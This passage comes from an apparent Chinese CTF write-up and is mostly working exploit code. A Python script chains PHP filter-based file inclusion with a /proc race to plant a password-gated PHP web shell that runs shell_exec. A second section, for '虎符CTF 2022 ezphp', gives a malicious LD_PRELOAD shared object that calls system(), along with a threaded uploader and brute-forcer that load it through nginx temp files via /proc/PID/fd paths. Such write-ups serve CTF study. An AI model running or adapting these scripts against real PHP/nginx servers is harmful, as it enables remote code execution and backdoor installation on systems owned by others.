        return quote_from_bytes(data, safe)
    
    url = f'http://{sys.argv[1]}:{sys.argv[2]}/'
    
    backdoor_name = secrets.token_hex(8) + '.php'
    secret = secrets.token_hex(16)
    secret_hash = hashlib.sha1(secret.encode()).hexdigest()
    
    print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
    print('[+] secret: ' + secret, file=sys.stderr)
    
    code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
    payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
    payload_encoded = b'abcdfg' + base64.b64encode(payload)
    print(payload_encoded)
    assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)
    
    # check if the payload would work on our local php setup
    with tempfile.NamedTemporaryFile() as tmp:
        tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
        tmp.flush()
        o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
        print(o, file=sys.stderr)
        assert payload in o
    
        os.chdir('/tmp')
        subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
        with open(backdoor_name) as f:
            d = f.read()
            assert d == 'test'
    
    
    pid = -1
    N = 10
    
    done = False
    
    def worker(i):
        time.sleep(1)
        while not done:
            print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
            s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
            os.system(s)
    
    def delete_worker():
        time.sleep(1)
        while not done:
            print('[+] starting delete worker', file=sys.stderr)
            s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
            os.system(s)
    
    for i in range(N):
        threading.Thread(target=worker, args=(i, ), daemon=True).start()
    threading.Thread(target=delete_worker, daemon=True).start()
    
    
    while not done:
        try:
            r = requests.get(url, params={
                'page': '/proc/sys/kernel/ns_last_pid'
            }, timeout=10)
            print(f'[+] pid: {pid}', file=sys.stderr)
            if int(r.text) > (pid+N):
                pid = int(r.text) + 200
                print(f'[+] pid overflow: {pid}', file=sys.stderr)
                os.system('pkill -9 -x bombardier')
    
            r = requests.get(f'{url}data/{backdoor_name}', params={
                's' : secret,
                'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
            }, timeout=10)
    
            if r.status_code == 200:
                print(r.text)
                done = True
                os.system('pkill -9 -x bombardier')
                exit()
    
    
            time.sleep(0.5)
        except Exception as e:
            print(e, file=sys.stderr)
    
  • [虎符CTF 2022]ezphp


    p 神的环境变量注入 getshell 只限于 centos 系统,debian 无法利用,具体原理翻原文。
    这里利用 hxp2021 中 nginx 上传文件的特性,传一个恶意的 so 文件,然后再用 LD_PRELOAD 加载
    恶意的 so 文件:
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    __attribute__ ((__constructor__)) void preload (void){
      unsetenv("LD_PRELOAD");
      system("id");
      system("cat /flag > /var/www/html/flag");
    }
    

    然后用脚本直接在 so 后面添加垃圾数据(因为 elf 文件的规范性这里不会影响解析)
    然后爆破:
    import threading, requests
    
    URL = 'http://1.14.71.254:28878/'
    
    done = False
    
    def uploader():
        print('[+] starting uploader')
        while not done:
            requests.get(URL, data=open("D:/tmp/evil_dirty.so", "br").read())
    
    for _ in range(16):
        t = threading.Thread(target=uploader)
        t.start()
    
    def bruter():
        for pid in range(4194304):
            print(f'[+] brute loop restarted: {pid}')
            for fd in range(4, 32):
                f = f'/proc/{pid}/fd/{fd}'
                r  = requests.get(URL, params={
                    'env': f"LD_PRELOAD={f}",
                })
                if 'uid' in r.text:
                    print(r.text)
                    print("[+] finished")
                    exit()
    
    a = threading.Thread(target=bruter)
    a.start()
    

    image-20220511232122666
  • 参考文献